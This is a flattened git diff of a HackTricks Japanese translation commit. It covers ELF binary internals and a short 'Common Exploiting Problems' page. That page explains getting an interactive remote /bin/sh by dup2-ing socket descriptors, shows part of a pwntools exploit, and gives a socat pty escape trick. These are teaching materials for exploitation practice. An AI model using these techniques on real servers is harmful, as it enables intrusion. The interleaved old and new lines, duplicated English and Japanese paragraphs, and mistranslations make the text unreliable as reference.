Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo

This commit is contained in:
Translator 2024-07-18 22:18:08 +00:00
parent 57b142c6c0
commit 74c34dffcc
142 changed files with 8788 additions and 10659 deletions

View file

@ -1,20 +1,23 @@
# ELF基本情報 # ELF 基本情報
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を使って、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォローする 🐦[@carlospolopm](https://twitter.com/hacktricks\_live)**.**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}
## プログラムヘッダ ## プログラムヘッダ
ローダーに**ELF**をメモリにロードする方法を説明します ローダーに**ELF**をメモリにロードする方法を説明します:
```bash ```bash
readelf -lW lnstat readelf -lW lnstat
@ -47,54 +50,54 @@ Segment Sections...
07 07
08 .init_array .fini_array .dynamic .got 08 .init_array .fini_array .dynamic .got
``` ```
前のプログラムには**9つのプログラムヘッダ**があり、**セグメントマッピング**は各セクションがどのプログラムヘッダ00から08までに**配置されているか**を示します。 The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Program HeaDeR ### PHDR - プログラムヘッダー
プログラムヘッダテーブルとメタデータ自体を含んでいます。 Contains the program header tables and metadata itself.
### INTERP ### INTERP
バイナリをメモリにロードするために使用するローダーのパスを示します。 Indicates the path of the loader to use to load the binary into memory.
### LOAD ### LOAD
これらのヘッダはバイナリをメモリに**どのようにロードするか**を示すために使用されます。\ These headers are used to indicate **how to load a binary into memory.**\
各**LOAD**ヘッダは**メモリの領域**サイズ、権限、アライメントを示し、ELFバイナリのバイトをそこにコピーすることを示します。 Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **バイナリをそこにコピーする**.
例えば、2番目のヘッダはサイズが0x1190で、0x1fc48に配置され、読み取りと書き込みの権限があり、オフセット0xfc48から0x528で埋められます予約されたスペース全体を埋めるわけではありません。このメモリにはセクション`.init_array .fini_array .dynamic .got .data .bss`が含まれます。 For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC ### DYNAMIC
このヘッダはプログラムをライブラリ依存関係にリンクし、リロケーションを適用するのに役立ちます。**`.dynamic`**セクションを確認してください。 This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
### NOTE ### NOTE
バイナリに関するベンダーメタデータ情報を格納します。 This stores vendor metadata information about the binary.
### GNU\_EH\_FRAME ### GNU\_EH\_FRAME
デバッガーやC++例外処理ランタイム関数で使用されるスタックアンワインドテーブルの場所を定義します。 Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
### GNU\_STACK ### GNU\_STACK
スタック実行防止防御の構成を含みます。有効になっている場合、バイナリはスタックからコードを実行できません。 Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
### GNU\_RELRO ### GNU\_RELRO
バイナリのRELRORelocation Read-Only構成を示します。この保護は、プログラムがロードされて実行が開始される前に、メモリの特定のセクション`GOT`や`init`および`fini`テーブルなど)を読み取り専用としてマークします。 Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
前述の例では、0x3b8バイトを0x1fc48に読み取り専用でコピーし、`.init_array .fini_array .dynamic .got .data .bss`セクションに影響を与えます。 In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
RELROは部分的または完全であることに注意してください。部分的なバージョンは**`.plt.got`**セクションを保護しません。これは**遅延バインディング**に使用され、最初にその場所が検索されるときにライブラリのアドレスを書き込むためにこのメモリスペースに**書き込み権限**が必要です。 Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
### TLS ### TLS
TLSエントリのテーブルを定義し、スレッドローカル変数に関する情報を格納します。 Defines a table of TLS entries, which stores info about thread-local variables.
## セクションヘッダ ## セクションヘッダ
セクションヘッダはELFバイナリの詳細なビューを提供します。 Section headers gives a more detailed view of the ELF binary
``` ```
objdump lnstat -h objdump lnstat -h
@ -155,24 +158,26 @@ CONTENTS, READONLY
25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2 25 .gnu_debuglink 00000034 0000000000000000 0000000000000000 000101bc 2**2
CONTENTS, READONLY CONTENTS, READONLY
``` ```
### メタセクション It also indicates the location, offset, permissions but also the **type of data** it section has.
* **文字列テーブル**: ELFファイルで必要なすべての文字列を含んでいますただし、実際にプログラムで使用されるものではありません。たとえば、`.text`や`.data`などのセクション名を含んでいます。そして、`.text`が文字列テーブル内のオフセット45にある場合、**name**フィールドには数字**45**が使用されます。 ### Meta Sections
* 文字列テーブルの場所を見つけるために、ELFには文字列テーブルへのポインタが含まれています。
* **シンボルテーブル**: 名前(文字列テーブル内のオフセット)、アドレス、サイズなど、シンボルに関する情報を含んでいます。
### メインセクション * **String table**: ELFファイルに必要なすべての文字列が含まれていますただし、プログラムで実際に使用されるものは含まれていません。例えば、`.text`や`.data`のようなセクション名が含まれています。そして、もし`.text`が文字列テーブルのオフセット45にある場合、**name**フィールドには数字**45**が使用されます。
* 文字列テーブルの場所を見つけるために、ELFは文字列テーブルへのポインタを含んでいます。
* **Symbol table**: 名前(文字列テーブルのオフセット)、アドレス、サイズ、シンボルに関するその他のメタデータなど、シンボルに関する情報が含まれています。
* **`.text`**: プログラムの実行命令です。 ### Main Sections
* **`.data`**: プログラム内で定義された値を持つグローバル変数です。
* **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化されている)。ここにある変数は自動的にゼロに初期化されるため、不要なゼロがバイナリに追加されるのを防ぎます。
* **`.rodata`**: 定数のグローバル変数(読み取り専用セクション)です。
* **`.tdata`** および **`.tbss`**: スレッドローカル変数が使用される場合C++では`__thread_local`、C言語では`__thread`)、`.data`および`.bss`のようです。
* **`.dynamic`**: 以下を参照してください。
## シンボル * **`.text`**: 実行するプログラムの命令。
* **`.data`**: プログラム内で定義された値を持つグローバル変数。
* **`.bss`**: 初期化されていないグローバル変数(またはゼロに初期化)。ここにある変数は自動的にゼロに初期化されるため、バイナリに無駄なゼロが追加されるのを防ぎます。
* **`.rodata`**: 定数のグローバル変数(読み取り専用セクション)。
* **`.tdata`**と**`.tbss`**: スレッドローカル変数が使用されるときの.dataと.bssのようなものC++の`__thread_local`やCの`__thread`)。
* **`.dynamic`**: 下記を参照。
シンボルは、プログラム内の名前付きの場所であり、関数、グローバルデータオブジェクト、スレッドローカル変数などが該当します。 ## Symbols
Symbolsは、プログラム内の名前付きの場所で、関数、グローバルデータオブジェクト、スレッドローカル変数などである可能性があります。
``` ```
readelf -s lnstat readelf -s lnstat
@ -193,14 +198,14 @@ Num: Value Size Type Bind Vis Ndx Name
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...] [...]
``` ```
各シンボルエントリには次の情報が含まれています: 各シンボルエントリには以下が含まれます:
- **名前** * **名前**
- **バインディング属性**(弱い、ローカルまたはグローバル):ローカルシンボルはプログラム自体からのみアクセスでき、グローバルシンボルはプログラムの外部で共有されます。弱いオブジェクトは、別のオブジェクトによって上書きできる関数の例です。 * **バインディング属性**(弱い、ローカルまたはグローバル):ローカルシンボルはプログラム自体によってのみアクセス可能ですが、グローバルシンボルはプログラムの外部で共有されます。弱いオブジェクトは、例えば異なるもので上書き可能な関数です。
- **タイプ**NOTYPEタイプが指定されていない、OBJECTグローバルデータ変数、FUNC関数、SECTIONセクション、FILEデバッガ用のソースコードファイル、TLSスレッドローカル変数、GNU_IFUNC再配置用の間接関数 * **タイプ**NOTYPEタイプ指定なし、OBJECTグローバルデータ変数、FUNC関数、SECTIONセクション、FILEデバッガ用のソースコードファイル、TLSスレッドローカル変数、GNU\_IFUNC再配置用の間接関数
- **配置されている**セクションの**インデックス** * **セクション** インデックス(位置)
- **値**(メモリ内のアドレス) * **値**(メモリ内のアドレス)
- **サイズ** * **サイズ**
## ダイナミックセクション ## ダイナミックセクション
``` ```
@ -237,9 +242,11 @@ Tag Type Name/Value
0x000000006ffffff9 (RELACOUNT) 15 0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0 0x0000000000000000 (NULL) 0x0
``` ```
## リロケーション NEEDEDディレクトリは、プログラムが**続行するために言及されたライブラリをロードする必要がある**ことを示しています。NEEDEDディレクトリは、共有**ライブラリが完全に動作し、使用可能になる**と完了します。
ローダーは、依存関係を読み込んだ後にそれらを再配置する必要があります。これらの再配置は、リロケーションテーブルでRELまたはRELAの形式で示され、再配置の数は動的セクションのRELSZまたはRELASZで与えられます。 ## Relocations
ローダーは、依存関係をロードした後にそれらを再配置する必要があります。これらの再配置は、RELまたはRELA形式の再配置テーブルに示され、再配置の数は動的セクションのRELSZまたはRELASZに記載されています。
``` ```
readelf -r lnstat readelf -r lnstat
@ -305,7 +312,6 @@ Offset Info Type Sym. Value Sym. Name + Addend
00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0 00000001ff68 002700000402 R_AARCH64_JUMP_SL 0000000000000000 strndup@GLIBC_2.17 + 0
00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0 00000001ff70 002800000402 R_AARCH64_JUMP_SL 0000000000000000 strchr@GLIBC_2.17 + 0
00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0 00000001ff78 002900000402 R_AARCH64_JUMP_SL 0000000000000000 fwrite@GLIBC_2.17 + 0
```md
00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0 00000001ff80 002a00000402 R_AARCH64_JUMP_SL 0000000000000000 fflush@GLIBC_2.17 + 0
00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0 00000001ff88 002b00000402 R_AARCH64_JUMP_SL 0000000000000000 fopen64@GLIBC_2.17 + 0
00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0 00000001ff90 002c00000402 R_AARCH64_JUMP_SL 0000000000000000 __isoc99_sscanf@GLIBC_2.17 + 0
@ -315,23 +321,23 @@ Offset Info Type Sym. Value Sym. Name + Addend
``` ```
### 静的再配置 ### 静的再配置
プログラムが通常のアドレス通常は0x400000ではない場所にロードされる場合アドレスがすでに使用されているか、ASLRなどの理由で、静的再配置は、バイナリが通常のアドレスにロードされることを期待していた値を持つポインターを修正します。 もし**プログラムが好ましいアドレス**通常は0x400000とは異なる場所にロードされる場合、アドレスがすでに使用されているか、**ASLR**やその他の理由によるもので、静的再配置は**ポインタを修正**します。これらのポインタは、バイナリが好ましいアドレスにロードされることを期待していた値を持っています。
たとえば、`R_AARCH64_RELATIV` タイプのセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。 例えば、`R_AARCH64_RELATIV`型の任意のセクションは、再配置バイアスに加算値を加えたアドレスを修正する必要があります。
### 動的再配置とGOT ### 動的再配置とGOT
再配置は外部シンボル(依存関係からの関数など)を参照することもあります。たとえば、libC の malloc 関数のようなものです。その後、ローダーは libC をロードする際に malloc 関数がロードされている場所を確認し、そのアドレスを GOTGlobal Offset Tableテーブルに書き込みます再配置テーブルで指定されている 再配置は外部シンボル(依存関係からの関数など)を参照することもあります。例えば、libCからのmalloc関数です。次に、ローダーはlibCをアドレスにロードする際、malloc関数がロードされている場所を確認し、そのアドレスをGOTグローバルオフセットテーブルに書き込みます再配置テーブルで示されるmallocのアドレスが指定されるべき場所です
### 手続きリンケージテーブル ### プロシージャリンクテーブル
PLT セクションを使用すると、遅延バインディングを実行できます。つまり、関数の場所の解決は、その関数がアクセスされる最初のときに実行されます。 PLTセクションは遅延バインディングを実行することを可能にします。これは、関数の位置の解決が最初にアクセスされたときに行われることを意味します。
したがって、プログラムが malloc を呼び出すと、実際には PLT 内の `malloc` の対応する場所を呼び出します(`malloc@plt`)。最初に呼び出されると、`malloc` のアドレスを解決して保存し、次に `malloc` が呼び出されるときには、そのアドレスが使用されます。 したがって、プログラムがmallocを呼び出すと、実際にはPLT内の`malloc`の対応する位置(`malloc@plt`)を呼び出します。最初に呼び出されたときに`malloc`のアドレスを解決し、それを保存するので、次回`malloc`が呼び出されると、そのアドレスがPLTコードの代わりに使用されます。
## プログラム初期化 ## プログラム初期化
プログラムがロードされた後、実行する準備が整いました。ただし、実行される最初のコードは常に `main` 関数ではありません。たとえば、C++ では、グローバル変数がクラスのオブジェクトである場合、このオブジェクトは `main` が実行される**前に初期化**される必要があります。 プログラムがロードされた後、実行する時間です。しかし、最初に実行されるコードは**必ずしも`main`**関数ではありません。これは、例えばC++では**グローバル変数がクラスのオブジェクト**である場合、このオブジェクトはmainが実行される前に**初期化**されなければならないからです。
```cpp ```cpp
#include <stdio.h> #include <stdio.h>
// g++ autoinit.cpp -o autoinit // g++ autoinit.cpp -o autoinit
@ -352,36 +358,77 @@ printf("Main\n");
return 0; return 0;
} }
``` ```
注意しておくべきは、これらのグローバル変数は`.data`または`.bss`に配置されていますが、`__CTOR_LIST__`および`__DTOR_LIST__`のリストには、初期化および破棄するオブジェクトが追跡されるために格納されています。 注意すべきは、これらのグローバル変数は`.data`または`.bss`に位置しているが、`__CTOR_LIST__`および`__DTOR_LIST__`のリストには、初期化および破壊するオブジェクトが格納されており、それらを追跡するために使用されるということです。
Cコードから同じ結果を得ることができま。GNU拡張を使用すると Cコードからは、GNU拡張を使用して同じ結果を得ることが可能です:
```c ```c
__attributte__((constructor)) //Add a constructor to execute before __attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list __attributte__((destructor)) //Add to the destructor list
``` ```
コンパイラの観点から、`main` 関数が実行される前と後にこれらのアクションを実行するために、`init` 関数と `fini` 関数を作成し、それらを **`INIT`** および **`FIN`** として動的セクションで参照し、ELF の `init` および `fini` セクションに配置することが可能です。 From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
他のオプションとして、動的セクションで **`INIT_ARRAY`** および **`FINI_ARRAY`** エントリに **`__CTOR_LIST__`** と **`__DTOR_LIST__`** を参照し、これらの長さは **`INIT_ARRAYSZ`** および **`FINI_ARRAYSZ`** で示されます。各エントリは引数なしで呼び出される関数ポインタです。 コンパイラの観点から、`main`関数が実行される前後にこれらのアクションを実行するために、`init`関数と`fini`関数を作成することが可能で、これらは動的セクションで**`INIT`**および**`FIN`**として参照され、ELFの`init`および`fini`セクションに配置されます。
さらに、**`INIT_ARRAY`** ポインタよりも前に実行される **ポインタ** を持つ **`PREINIT_ARRAY`** も可能です。 The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
### 初期化の順序 前述のように、もう一つのオプションは、動的セクションの**`INIT_ARRAY`**および**`FINI_ARRAY`**エントリで**`__CTOR_LIST__`**および**`__DTOR_LIST__`**リストを参照することであり、これらの長さは**`INIT_ARRAYSZ`**および**`FINI_ARRAYSZ`**によって示されます。各エントリは引数なしで呼び出される関数ポインタです。
1. プログラムがメモリにロードされ、静的グローバル変数が **`.data`** で初期化され、初期化されていない変数が **`.bss`** でゼロクリアされます。 Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
2. プログラムまたはライブラリのすべての **依存関係****初期化** され、**動的リンク** が実行されます。
3. **`PREINIT_ARRAY`** 関数が実行されます。
4. **`INIT_ARRAY`** 関数が実行されます。
5. **`INIT`** エントリがある場合、それが呼び出されます。
6. ライブラリの場合、dlopen はここで終了し、プログラムの場合は **実際のエントリポイント** (`main` 関数) を呼び出す時です。
## スレッドローカルストレージTLS さらに、**`INIT_ARRAY`**ポインタの**前に**実行される**ポインタ**を持つ**`PREINIT_ARRAY`**を持つことも可能です。
これらは C++ で **`__thread_local`** キーワードを使用するか、GNU 拡張である **`__thread`** を使用して定義されます。 ### Initialization Order
各スレッドはこの変数のために一意の場所を維持するため、スレッドだけがその変数にアクセスできます。 ### 初期化順序
これを使用すると、ELF で **`.tdata`** と **`.tbss`** セクションが使用されます。これは `.data`(初期化済み)および `.bss`初期化されていないに似ていますが、TLS 用です。 1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
1. プログラムがメモリにロードされ、静的グローバル変数が**`.data`**で初期化され、未初期化のものは**`.bss`**でゼロにされます。
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
2. プログラムまたはライブラリのすべての**依存関係**が**初期化**され、**動的リンク**が実行されます。
3. **`PREINIT_ARRAY`** functions are executed.
3. **`PREINIT_ARRAY`**関数が実行されます。
4. **`INIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`**関数が実行されます。
5. If there is a **`INIT`** entry it's called.
5. **`INIT`**エントリがあれば、それが呼び出されます。
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
6. ライブラリの場合、dlopenはここで終了し、プログラムの場合は**実際のエントリポイント**`main`関数)を呼び出す時です。
各変数には、サイズと TLS オフセットを指定する TLS ヘッダーのエントリがあり、これはスレッドのローカルデータ領域で使用するオフセットです。 ## Thread-Local Storage (TLS)
`__TLS_MODULE_BASE` は、モジュールのすべてのスレッドローカルデータを含むメモリ内の領域を指すシンボルです。 ## スレッドローカルストレージ (TLS)
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
これらはC++のキーワード**`__thread_local`**またはGNU拡張**`__thread`**を使用して定義されます。
Each thread will maintain a unique location for this variable so only the thread can access its variable.
各スレッドはこの変数のためのユニークな場所を維持するため、スレッドのみがその変数にアクセスできます。
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
これが使用されると、ELFではセクション**`.tdata`**および**`.tbss`**が使用されます。これは、TLS用の`.data`(初期化済み)および`.bss`(未初期化)に似ています。
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
各変数は、サイズとTLSオフセットを指定するTLSヘッダーにエントリを持ち、これはスレッドのローカルデータ領域で使用されるオフセットです。
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
`__TLS_MODULE_BASE`は、スレッドローカルストレージのベースアドレスを参照するために使用されるシンボルで、モジュールのすべてのスレッドローカルデータを含むメモリ内の領域を指します。
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# 一般的な攻撃問題 # Common Exploiting Problems
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングテクニックを共有するために、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>
{% endhint %}
## リモートエクスプロイテーションにおけるFDs ## FDs in Remote Exploitation
たとえば、リモートサーバーに**`system('/bin/sh')`**を呼び出すエクスプロイトを送信すると、これはもちろんサーバープロセスで実行され、`/bin/sh`はstdinFD`0`からの入力を期待し、stdoutおよびstderrFDs `1`および`2`)に出力を表示します。したがって、攻撃者はシェルと対話することができません。 リモートサーバーに**`system('/bin/sh')`**を呼び出すエクスプロイトを送信すると、これはサーバープロセスで実行され、`/bin/sh`はstdinFD: `0`からの入力を期待し、stdoutおよびstderrFDs `1`および `2`)に出力を印刷します。したがって、攻撃者はシェルと対話することができません。
これを修正する方法は、サーバーが起動したときに**FD番号`3`**(リスニング用)を作成し、その後、接続が**FD番号`4`**になると仮定することです。したがって、シェルに連絡を取ることが可能になります。 これを修正する方法は、サーバーが起動したときに**FD番号 `3`**(リスニング用)を作成し、その後、あなたの接続が**FD番号 `4`**になると仮定することです。したがって、syscall **`dup2`**を使用してstdinFD 0とstdoutFD 1をFD 4攻撃者の接続のものに複製することが可能であり、これによりシェルが実行されたときに連絡を取ることが可能になります。
[**ここからのエクスプロイト例**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit) [**Exploit example from here**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit):
```python ```python
from pwn import * from pwn import *
@ -37,20 +40,23 @@ p.interactive()
``` ```
## Socat & pty ## Socat & pty
socatは既に**`stdin`**と**`stdout`**をソケットに転送しています。ただし、`pty`モードには**DELETE文字が含まれています**。したがって、`\x7f``DELETE` -)を送信すると、エクスプロイトの前の文字が**削除**されます socatはすでに**`stdin`**と**`stdout`**をソケットに転送します。ただし、`pty`モードは**DELETE文字**を**含みます**。したがって、`\x7f``DELETE` -)を送信すると、**あなたのエクスプロイトの前の文字を削除します**
これをバイパスするには、**`\x7f`を送信する前にエスケープ文字`\x16`を付加する必要があります**。 これを回避するために、**エスケープ文字`\x16`を送信する任意の`\x7f`の前に追加する必要があります。**
**ここでは**[**この動作の例を見つけることができます**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。** **ここでこの動作の例を** [**見つけることができます**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**。**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>こちら</strong></a><strong></strong></summary> <summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを発見 * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れる * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **💬**[**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および**[**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details> </details>
{% endhint %}

View file

@ -1,26 +1,29 @@
# フォーマット文字列 # フォーマット文字列
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
